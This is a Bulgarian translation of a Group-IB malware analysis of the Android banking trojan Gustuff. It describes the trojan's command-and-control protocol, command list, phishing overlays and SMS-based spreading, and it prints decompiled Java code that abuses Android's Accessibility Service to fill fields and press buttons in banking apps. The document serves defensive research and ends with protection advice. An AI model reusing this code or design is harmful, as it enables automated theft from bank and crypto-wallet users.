Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки

Съвсем наскоро Group-IB публикува информация за активността на мобилния Android троян Gustuff. Той действа изключително на международните пазари, атакувайки клиентите на 100 от най-големите чуждестранни банки, потребителите на 32 криптокошелька, както и големи e-commerce платформи. А разработчикът на Gustuff е рускоязычен киберпрестъпник с псевдоним Bestoffer. Още преди не много време той хвалеше своя троян като "сериозен продукт за хора с опит и знания".

Специалистът по анализ на зловреден софтуер от Group-IB Иван Писарев в своето проучване обстойно описва как работи Gustuff и каква е неговата опасност.

На кого е насочен Gustuff

Gustuff принадлежи към новото поколение зловредни програми с напълно автоматизирани функции. Според разработчика, троянът е нова подобрена версия на зловредната програма AndyBot, която от ноември 2017 година атакува телефоните с ОС Android и краде пари през фишинг уеб форми, маскирани като мобилни приложения на известни международни банки и платежни системи. Bestoffer съобщи, че цената на наемане на "Gustuff Bot" е била $800 на месец.

Анализът на样пла Gustuff показа, че потенциално троянът е нацелен на клиенти, използващи мобилни приложения на най-големите банки, като Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, а също така и на криптокошельците Bitcoin Wallet, BitPay, Cryptopay, Coinbase и др.

Първоначално създаден като класически банков троян, Gustuff значително разширява списъка на потенциалните обекти за атака в настоящата версия. Освен Android приложенията на банки, финтех компании и криптосервизи, Gustuff е нацелен и на потребителите на приложения за маркетплейси, онлайн магазини, платежни системи и приложения за съобщения. В частност, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut и други.

Точка на вход: разчитане на масово заразяване

За Gustuff е характерен "класическият" вектор на проникване в Android-смартфони чрез SMS разпратки с връзки към APK. При инфектиране на Android устройство с троян по команда на сървъра може да настъпи допълнително разпространение на Gustuff в базата контакти на инфектирания телефон или по базата данни на сървъра. Функционалността на Gustuff е насочена към масово инфектиране и максимализиране на печалбите на своите оператори – налична е уникалната функция "автозалив" в легитимни мобилни банкови приложения и крипто портфейли, което позволява ускоряване и мащабиране на кражби на пари.

Изследването на троянa показа, че функцията автозалив е реализирана в него чрез Accessibility Service — услуга за хора с увреждания. Gustuff не е първият троян, който успешно заобикаля защитата от взаимодействие с елементите на прозорците на други приложения с помощта на тази услуга на Android. Въпреки това, използването на Accessibility Service в комбинация с автозалив остава все още относително рядко явление.

След инсталиране на Gustuff на телефона на жертвата, използвайки Accessibility Service, той получава възможност да взаимодейства с елементите на прозорците на други приложения (банкови, криптовалутни, както и приложения за онлайн пазаруване, съобщения и др.), извършвайки необходимите действия за злонамерителите. Например, по команда на сървъра, троянът може да натиска бутони и да променя стойностите на текстови полета в банкови приложения. Използването на механизма Accessibility Service позволява на троянa да заобиколи механизмите за защита, използвани от банките, за да се противопоставят на мобилните трояни от предишното поколение, както и промените в политиката за сигурност, внедрени от Google в новите версии на операционната система Android. Така Gustuff "умее" да деактивира защитата на Google Protect: според твърденията на автора, тази функция сработва в 70% от случаите.

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки

Също така Gustuff може да показва фалшиви PUSH-уведомления с иконки на легитимни мобилни приложения. Потребителят кликва върху PUSH-уведомлението и вижда фишинг прозорец, зареден от сървъра, в който самият той въвежда исканите данни от банковата си карта или криптокошелка. В друг сценарий на работа Gustuff се отваря приложение, от името на което е показано PUSH-уведомлението. В този случай злонамерената програма по команда на сървъра чрез Accessibility Service може да попълва полетата на формуляра на банковото приложение за измамна транзакция.

Функционалностите на Gustuff включват също изпращане на информация за заразеното устройство на сървера, възможност за четене/изпращане на SMS съобщения, изпращане на USSD запитвания, стартиране на SOCKS5 Proxy, преминаване по линк, изпращане на файлове (включително фотоснимки на документи, екранни изображения, снимки) на сървера, нулиране на устройството до заводските настройки.

Анализ на злонамерената програма

Преди инсталацията на злонамереното приложение, ОС Android показва на потребителя прозорец, съдържащ списък с правата, искани от Gustuff:

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки
Инсталацията на приложението ще се извърши само след получаване на съгласието на потребителя. След стартиране на приложението, троянската програма ще покаже на потребителя прозорец:

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки
След което ще изтрие иконата си.

Gustuff е компилиран, според автора, с опаковчика от FTT. След стартиране приложението периодично се свързва с CnC-сървера с цел получаване на команди. В няколко от изследваните от нас файлове е използван IP адрес като управляващ сървър 88.99.171[.]105 (по-нататък ще обозначаваме като <%CnC%>).

След стартиране, програмата започва да изпраща съобщения на сървъра http:///api/v1/get.php.

В отговор се очаква JSON в следния формат:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

При всяко запитване приложението изпраща информация за заразеното устройство. Форматът на съобщението е представен по-долу. Струва си да се отбележи, че полетата full, extra, apps и permission – са опционални и ще бъдат изпратени само в случай на команда-запитване от CnC.

{
 "info":
 {
 "info":
 {
 "cell":,
 "country":,
 "imei":,
 "number":,
 "line1Number":,
 "advertisementId":
 },
 "state":
 {
 "admin":,
 "source":,
 "needPermissions":,
 "accesByName":,
 "accesByService":,
 "safetyNet":,
 "defaultSmsApp":,
 "isDefaultSmsApp":,
 "dateTime":,
 "batteryLevel":
 },
 "socks":
 {
 "id":,
 "enabled":,
 "active":
 },
 "version":
 {
 "versionName":,
 "versionCode":,
 "lastUpdateTime":,
 "tag":,
 "targetSdkVersion":,
 "buildConfigTimestamp":1541309066721
 },
 },
 "full":
 {
 "model":,
 "localeCountry":,
 "localeLang":,
 "accounts":,
 "lockType":
 },
 "extra":
 {
 "serial":,
 "board":,
 "brand":,
 "user":,
 "device":,
 "display":,
 "id":,
 "manufacturer":,
 "model":,
 "product":,
 "tags":,
 "type":,
 "imei":,
 "imsi":,
 "line1number":,
 "iccid":,
 "mcc":,
 "mnc":,
 "cellid":,
 "lac":,
 "androidid":,
 "ssid":
 },
 "apps":{},
 "permission":
} 

Съхранение на конфигурационни данни

Gustuff съхранява важна информация за работата в preference-файл. Името на файла, както и имената на параметрите в него – е резултат от изчислението на MD5-сумата на строката 15413090667214.6.1, където <%name%> — оригинално име-стойност. Интерпретацията на Python функцията за генериране на име:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Нататък ще обозначаваме като nameGenerator(input).
По този начин, името на първия файл: nameGenerator(«API_SERVER_LIST»), той съдържа стойности със следните имена:

Име на променливатаСтойност
nameGenerator(«API_SERVER_LIST»)Съдържа списък с CnC-адреси във вид на масив.
nameGenerator(«API_SERVER_URL»)Съдържа CnC-адрес.
nameGenerator(«SMS_UPLOAD»)Флаг по подразбиране е зададен. Ако флагът е зададен – изпраща SMS-съобщения на CnC.
nameGenerator(«SMS_ROOT_NUMBER»)Телефонен номер, на който ще бъдат изпратени SMS съобщенията, получени от заразеното устройство. По подразбиране null.
nameGenerator(«SMS_ROOT_NUMBER_RESEND»)Флаг по подразбиране нулиран. Ако е зададен – при получаване на SMS от заразеното устройство, то ще бъде изпратено до root номера.
nameGenerator(«DEFAULT_APP_SMS»)Флаг по подразбиране нулиран. Ако този флаг е зададен – приложението ще обработва входящите SMS съобщения.
nameGenerator(«DEFAULT_ADMIN»)Флаг по подразбиране нулиран. Ако флагът е зададен – приложението има администраторски права.
nameGenerator(«DEFAULT_ACCESSIBILITY»)Флаг по подразбиране нулиран. Ако флагът е зададен – стартира се услуга, използваща Accessibility Service.
nameGenerator(«APPS_CONFIG»)JSON обект, съдържащ списък с действия, които трябва да бъдат извършени при задействане на Accessibility събитие, свързано с определено приложение.
nameGenerator(«APPS_INSTALLED»)Съхранява списък с инсталираните на устройството приложения.
nameGenerator(«IS_FIST_RUN»)Флагът при първото стартиране е нулиран.
nameGenerator(«UNIQUE_ID»)Съдържа уникален идентификатор. Генерира се при първото стартиране на бота.

Модул за обработка на команди от сървъра

Приложението съхранява адресите на CnC сървърите под формата на масив от кодирани с Base85 стрингове. Списъкът с CnC – сървъри може да бъде променен при получаване на съответната команда, в такъв случай адресите ще бъдат съхранявани в preference файл.

В отговор на запитването сървърът изпраща на приложението команда. Трябва да се отбележи, че командите и параметрите са представени в JSON формат. Приложението може да обработва следните команди:

ЕкипОписание
forwardStartДа започне изпращането на получените SMS съобщения от заразеното устройство до CnC сървъра.
forwardStopДа спре изпращането на получените SMS съобщения от заразеното устройство до CnC сървъра.
ussdRunДа се извърши USSD запитване. Номерът, на който трябва да се извърши USSD запитването, е в JSON полето «number».
sendSmsДа се изпрати едно SMS съобщение (при необходимост съобщението «се разделя» на части). Като параметър командата приема JSON обект, съдържащ полетата «to» – номер на получателя и «body» – съдържание на съобщението.
sendSmsAbДа се изпратят SMS съобщения (при необходимост съобщението «се разделя» на части) на всички от списъка с контакти на заразеното устройство. Интервалът между изпращанията на съобщенията – 10 секунди. Съдържанието на съобщението е в JSON полето «body»
sendSmsMassИзпратете SMS съобщения (при необходимост съобщението се „разчупва“ на части) на контактите, посочени в параметрите на командата. Интервалът между изпращанията на съобщенията е 10 секунди. Като параметър командата приема JSON масив (поле „sms“), елементите на който съдържат полета „to“ — номер за получаване и „body“ — съдържание на съобщението.
changeServerТази команда може да приеме като параметър стойност с ключ „url“ — в такъв случай ботът ще промени стойността на nameGenerator(“SERVER_URL”), или „array“ — тогава ботът ще запише масив в nameGenerator (“API_SERVER_LIST”). Така приложението променя адреса на CnC-сървърите.
adminNumberКомандата е предназначена за работа с root номера. Командата приема JSON обект със следните параметри: „number“ — променя nameGenerator(“ROOT_NUMBER”) на получената стойност, „resend“ — променя nameGenerator(“SMS_ROOT_NUMBER_RESEND”), „sendId“ — изпраща на nameGenerator(“ROOT_NUMBER”) uniqueID.
updateInfoИзпратете на сървъра информация за заразеното устройство.
wipeDataКомандата е предназначена за изтриване на потребителски данни. В зависимост от това с какво име е стартирано приложението, се извършва или пълно изтриване на данните с перезареждане на устройството (primary user), или изтриване само на потребителските данни (secondary user).
socksStartСтартирайте Proxy модула. Работата на модула е описана в отделен раздел.
socksStopСпиране на работата на Proxy модула.
openLinkОтидете на връзката. Връзката се намира в JSON параметъра с ключ „url“. За отваряне на връзката се използва „android.intent.action.VIEW.“
uploadAllSmsИзпратете на сървъра всички получени от устройството SMS съобщения.
uploadAllPhotosИзпратете на URL изображения от заразеното устройство. URL идва като параметър.
uploadFileИзпратете на URL файл от заразеното устройство. URL идва като параметър.
uploadPhoneNumbersИзпратете на сървъра телефонните номера от списъка с контакти. Ако като параметър идва JSON обект със стойност с ключ „ab“, приложението получава списък с контакти от телефонния указател. Ако като параметър идва JSON обект с ключ „sms“, приложението чете списък с контакти от изпращачите на SMS съобщения.
changeArchiveПриложението зарежда файл от адрес, получен като параметър с ключ "url". Зареденият файл се запазва с името "archive.zip". След това приложението разархивира файла, при необходимост използвайки паролата за архива "b5jXh37gxgHBrZhQ4j3D". Разархивираните файлове се запазват в директория [external storage]\/hgps. В тази директория приложението съхранява уеб-фейкове (описано по-долу).
actionsКомандата е предназначена за работа с Action Service, който е описан в отделна секция.
testНищо не прави.
downloadКомандата е предназначена за изтегляне на файл от отдалечен сървър и запазването му в директорията "Downloads". URL адресът и името на файла се предават като параметри, полета в JSON-обекта съответно: "url" и "fileName".
removeИзтрива файл от директорията "Downloads". Името на файла се получава в JSON-параметъра с ключ "fileName". Стандартното име на файла е "tmp.apk".
notificationПоказва уведомление с текстове на описанието и заглавието, определени от управляващия сървър.

Формат на командата notification:

{
 "results" : "OK",
 "command":{
 "id": ,
 "command":"notification",
 "timestamp":,
 "params":{
 "openApp":,
 "array":[
 {"title":,
 "desc":,
 "app":}
 ]
 },
 },
}

Уведомлението, създавано от изследвания файл, изглежда идентично на уведомленията, създавани от приложението, посочено в полето app. Ако стойността на полето openApp — True, при отваряне на уведомлението се стартира приложението, посочено в полето app. Ако стойността на полето openApp — False, тогава:

  • се отваря фишинг прозорец, съдържанието на който се зарежда от директория \/hgps\/
  • се отваря фишинг прозорец, съдържанието на който се зарежда от сървъра ?id=&app=
  • се отваря фишинг прозорец, маскиран като Google Play Card, с възможност за въвеждане на данни от картата.

Резултатът от изпълнението на всяка команда приложението изпраща на set_state.php под формата на JSON-обект следния формат:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
В списъка с команди, които обработва приложението, влиза action. При получаване на команда, модулът за обработка на команди се свързва с този сервис с цел изпълнение на разширена команда. Като параметър, сервисът приема JSON-обект. Сервисът може да изпълнява следните команди:

1. PARAMS_ACTION При получаване на такава команда, услугата първо получава стойността от JSON параметъра по ключа Type, който може да бъде следният:

  • serviceInfo Подкомандата получава стойността от JSON параметъра по ключа includeNotImportant. Ако флагът е равен на True, приложението задава флага FLAG_ISOLATED_PROCESS на услугата, използваща Accessibility Service. Така услугата ще бъде стартирана в отделен процес.
  • root Получете и изпратете на сървъра информация за прозореца, който в момента е фокусиран. Приложението получава информация чрез класа AccessibilityNodeInfo.
  • админ Да поиска права на администратора.
  • delay Да спре работата на ActionsService за определеното количество милисекунди, зададено в параметъра по ключа "data".
  • windows Да изпрати списък с видимите за потребителя прозорци.
  • инсталиране Да инсталира приложението на заразено устройство. Името на пакета на архива се намира в ключа "fileName". Архивът самият се намира в директорията Downloads.
  • global Подкомандата е предназначена за извършване на преход от текущия прозорец:
    • к менюто Quick Settings
    • назад
    • домашен
    • к известията
    • к прозореца на наскоро отворени приложения

  • launch Да стартира приложението. Името на приложението пристига като параметър по ключа data.
  • sounds Да промени режима на звука на silence.
  • unlock Да включи подсветката на екрана и клавиатурата на пълна яркост. Приложението извършва това действие чрез WakeLock, указвайки стринг [Application lable]:INFO като тага.
  • permissionOverlay Функцията не е реализирана (отговор на изпълнението на командата — {"message":"Not support"} или {"message":"low sdk"})
  • gesture Функцията не е реализирана (отговор на изпълнението на командата — {"message":"Not support"} или {"message":"Low API"})
  • permissions Тази команда е необходима за искане на права за приложението. Въпреки това, функцията за искане не е реализирана, поради което командата няма смисъл. Списъкът на исканите права идва като JSON масив с ключа "permissions". Стандартният списък:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • open Да изведе на екрана фишинг прозорец. В зависимост от параметъра, получен от сървера, приложението може да демонстрира следните фишинг прозорци:
    • Да покаже фишинг прозорец, чието съдържание е записано в файла в директорията /hgps/Резултатът от взаимодействието на потребителя с прозореца ще бъде изпратен на адреса /records.php
    • Показване на фишинг прозорец, съдържанието на който предварително се зарежда от адреса ?id=&app=Резултатът от взаимодействието на потребителя с прозореца ще бъде изпратен на адреса /records.php
    • Показване на фишинг прозорец, маскиран като Google Play карта.

  • интерактивен — командата е предназначена за взаимодействие с елементите на прозорците на други приложения с помощта на AccessibilityService. За взаимодействие в програмата е реализиран специален сервиз. Изследваното приложение може да взаимодейства с прозорците:
    • Активният в момента. В такъв случай параметърът съдържа id или текст (наименование) на обекта, с който трябва да взаимодейства.
    • Видимите на потребителя по време на изпълнение на командата. Приложението избира прозорците по id.

    Получавайки обектите AccessibilityNodeInfo за интересуващите елементи на прозореца, приложението, в зависимост от параметрите, може да извършва действия:

    • focus — да зададе фокус на обекта.
    • click — да кликне върху обекта.
    • actionId — да изпълни действие по ID.
    • setText — да промени текста на обекта. Промяната на текста е възможна по два начина: да се извърши действие ACTION_SET_TEXT (ако версията на Android на заразеното устройство е по-малка или равна на LOLLIPOP), или като се постави текст в буфера за обмен и се встави в обекта (за версии по-стари). Тази команда може да се използва за промяна на данни в банково приложение.

2. PARAMS_ACTIONS — същото, както и PARAMS_ACTION, само че идва JSON-масив от команди.

Явно много хора ще се интерсуват как изглежда функцията за взаимодействие с елементите на прозореца на друго приложение. По този начин е реализирана тази функционална възможност в Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Функция за замяна на текст:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

По този начин, при правилна настройка на управляващия сървър, Gustuff е способен да запълва текстовите полета в банково приложение и да натиска необходимите бутони за извършване на транзакции. Троянският кон дори не трябва да преминава авторизация в приложението — достатъчно е да изпрати команда за демонстрация на PUSH уведомление с последващо отваряне на преди това инсталирано банково приложение. Потребителят сам ще премине авторизация, след което Gustuff ще може да извърши автоматично попълване.

Модул за обработка на SMS съобщения

Приложението настройва обработчик на събития за получаване на SMS съобщения от заразеното устройство. Изследваното приложение може да приема команди от оператора, които идват в текста на SMS съобщението. Командите идват в формат:

7!5=

Приложението търси във всички получени SMS съобщения низ 7!5=, при откритие на низходяща линия - декодира Base64 низходяща линия с отместване 4 и изпълнява команда. Командите са аналогични на командите с CnC. Резултатът от изпълнението се изпраща на същия номер, от който е получена командата. Формат на отговора:

7*5=

По желание приложението може да изпраща всички получени съобщения на Root-номер. За целта в preference файла трябва да бъде посочен Root номер и да бъде зададен флаг за пренасочване на съобщения. SMS-съобщението се изпраща на номера на злодея в формат:

—

Също по желание приложението може да изпраща съобщения на CnC. SMS-съобщението се изпраща на сървъра в JSON формат:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Ако е зададен флаг nameGenerator(«DEFAULT_APP_SMS») – приложението спира обработката на SMS-съобщението и изчиства списъка с входящи съобщения.

Proxy-модул

В изследваното приложение съществува Backconnect Proxy модул (по-нататък Proxy-модул), който има отделен клас, включващ статични полета с конфигурация. Конфигурационните данни се съхраняват в семпле в открит вид:

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки

Всички действия, извършвани от Proxy-модула, се записват в файлове. За това приложението в External Storage създава директория с името «logs» (полето ProxyConfigClass.logsDir в конфигурационния клас), в която се съхраняват лог файловете. Логването се извършва в файлове с имена:

  1. main.txt – в този файл се записва логът на работата на класа с име CommandServer. В по-нататъшното логване на низ str в този файл ще обозначаваме като mainLog(str).
  2. session-.txt — в този файл се съхраняват лог данните, свързани с определена сесия на прокси. В по-нататъшното логване на низ str в този файл ще обозначаваме като sessionLog (str).
  3. server.txt – в този файл се записват всички данни, записвани в по-горе описаните файлове.

Формат на лог данните:

[Thread[], id[]]: log-string

Изключенията, възникнали в процеса на работа на Proxy-модула, също се записват в файла. За това приложението формира JSON обект в формат:

{
 "uncaughtException":
 "thread":
 "message":
 "trace": 
 [
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 },
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 }
 ]
}

След това го конвертира в текстова форма и записва.

Стартирането на Proxy модула се извършва след получаване на съответната команда. Когато получи команда за стартиране на Proxy модула, приложението стартира услуга с името MainService, която отговаря за управлението на работата на Proxy модула – неговото стартиране и спиране.

Стъпки за стартиране на услугата:

1. Стартира таймер, който сработва веднъж в минутата и проверява активността на Proxy модула. Ако модулът не е активен – го стартира.
Също така при сработване на събитието android.net.conn.CONNECTIVITY_CHANGE се извършва стартиране на Proxy модула.

2. Приложението създава wake-lock с параметъра PARTIAL_WAKE_LOCK и го задържа. Така не позволява на CPU на устройството да премине в спящ режим.

3. Стартира клас за обработка на команди на Proxy модула, след предварително записване на низ mainLog(«start server») и

Server::start() host[], commandPort[], proxyPort[]

където proxy_cnc, command_port и proxy_port – параметри, получени от конфигурацията на Proxy сървъра.

Класът за обработка на команди се нарича CommandConnection. Сразу след стартиране извършва следните действия:

4. Свързва се с ProxyConfigClass.host: ProxyConfigClass.commandPort и изпраща там данни за заразеното устройство в JSON формат:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Където:

  • id – идентификатор, опитва се да получи от Shared Preference файла с име «x» стойността с полето «id». Ако не успее да получи това значение — генерира ново. По този начин Proxy модулът има свой идентификатор, който се генерира подобно на Bot ID.
  • imei — IMEI на устройството. Ако при получаване на стойността възникне грешка — вместо това поле ще бъде записано текстово съобщение за грешка.
  • imsi — Международен мобилен абонатен идентификатор на устройството. Ако при извличането на стойността възникне грешка, вместо тази поле ще бъде записано текстово съобщение за грешка.
  • model — Името, видимо за крайния потребител, на крайния продукт.
  • manufacturer — Производителят на продукта/хардуера (Build.MANUFACTURER).
  • androidVersion — низ в формат « (), »
  • country — текущото местоположение на устройството.
  • partnerId – празен низ.
  • packageName – име на пакета.
  • networkType — тип на текущата мрежова връзка (например: «WIFI», «MOBILE»). При грешка връща null.
  • hasGsmSupport – true – ако телефонът поддържа GSM, иначе false.
  • simReady – статус на SIM картата.
  • simCountry — ISO код на страната (на база на предоставчика на SIM картата).
  • networkOperator — име на оператора. Ако при извличането на стойността възникне грешка, вместо това поле ще бъде записано текстово съобщение за грешка.
  • simOperator — Името на предоставчика на услуги (SPN). Ако при извличането на стойността възникне грешка, вместо това поле ще бъде записано текстово съобщение за грешка.
  • version — това поле се съхранява в конфигурационния клас, за изследваните версии на бота то беше равно на «1.6».

5. Преминава в режим на изчакване за команди от сървъра. Командите от сървъра идват в следния формат:

  • 0 offset – команда
  • 1 offset – sessionId
  • 2 offset – дължина
  • 4 offset — данни

При получаване на команда приложението логва:
mainLog(«Header { sessionId, type[], length[] }»)

Възможни са следните команди от сървъра:

NameКомандаДанниОписание
connectionId0Идентификатор на връзкатаСъздаване на нова връзка
SLEEP3ВремеСпиране на работа на Proxy модула
PING_PONG4—Изпращане на PONG съобщение

PONG съобщението се състои от 4 байта и изглежда по следния начин: 0x04000000.

При получаване на команда connectionId (за създаване на нова връзка) CommandConnection създава екземпляр на класа ProxyConnection.

  • В проксирането участват два класа: ProxyConnection и end. При създаването на класа ProxyConnection се осъществява свързване с адреса ProxyConfigClass.host: ProxyConfigClass.proxyPort и предаване на JSON обект:

 {
    "id":
}

В отговор сървърът изпраща SOCKS5 съобщение, което съдържа адреса на отдалечения сървър, с който трябва да се установи връзка. Взаимодействието с този сървър става чрез класа end. Схематично установяването на връзка може да се представи по следния начин:

Как Android-троянът Gustuff събира (фиат и крипто) от вашите сметки

Мрежови взаимодействия

За да се предотврати анализ на трафика от мрежови снифери, взаимодействието между CnC сървъра и приложението може да бъде защитено чрез протокол SSL. Всички предавани данни, както от сървъра, така и към сървъра, са представени във формат JSON. Приложението по време на работа извършва следните заявки:

  • http:///api/v1/set_state.php — резултат от изпълнението на командата.
  • http:///api/v1/get.php — получаване на команда.
  • http:///api/v1/load_sms.php — изтегляне на SMS-съобщения от заразеното устройство.
  • http:///api/v1/load_ab.php — изтегляне на списък с контакти от заразеното устройство.
  • http:///api/v1/aevents.php – заявката се извършва при обновяване на параметрите, намиращи се в preference файла.
  • http:///api/v1/set_card.php — изтегляне на данни, получени чрез фишинг прозорец, маскиращ се като Google Play Market.
  • http:///api/v1/logs.php – изтегляне на лог данни.
  • http:///api/v1/records.php – изтегляне на данни, получени чрез фишинг прозорци.
  • http:///api/v1/set_error.php – уведомление за възникнала грешка.

Препоръки

С цел защита на своите клиенти от заплахата от мобилни трояни, компаниите трябва да използват комплексни решения, които позволяват да се проследява и предупреждава за злонамерена активност без инсталиране на допълнителен софтуер на потребителските устройства.

За целта, подписните методи за откритие на мобилни трояни трябва да бъдат подсилени с технологии за поведенчески анализ както на клиента, така и на самото приложение. Също така, защитата трябва да включва функция за идентификация на устройства с използване на технология за цифров отпечатък, което ще позволи да се разбере, когато акаунтът се използва с нетипично устройство и вече е попаднал в ръцете на измамник.

Ключов момент е наличието на възможност за крос-канален анализ, което позволява на компаниите да контролират рисковете, които възникват не само в интернет, но и в мобилния канал, например в приложения за мобилно банкиране, за операции с криптовалути и всякакви други, при които може да се извършва финансова транзакция.

Правила за сигурност за потребителите:

  • да не инсталират приложения за мобилни устройства с ОС Android от никакви източници, освен Google Play, и да обръщат особено внимание на правата, които приложението иска;
  • да инсталират редовно обновления на ОС Android;
  • обърнете внимание на разширенията на качените файлове;
  • не посещавайте съмнителни ресурси;
  • не кликвайте на връзки, получени в SMS съобщения.

С участието на Семена Рогачева, младши специалист по изследване на злонамерен код в Лабораторията по компютърна криминалистика на Group-IB.

Източник: habr.com

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster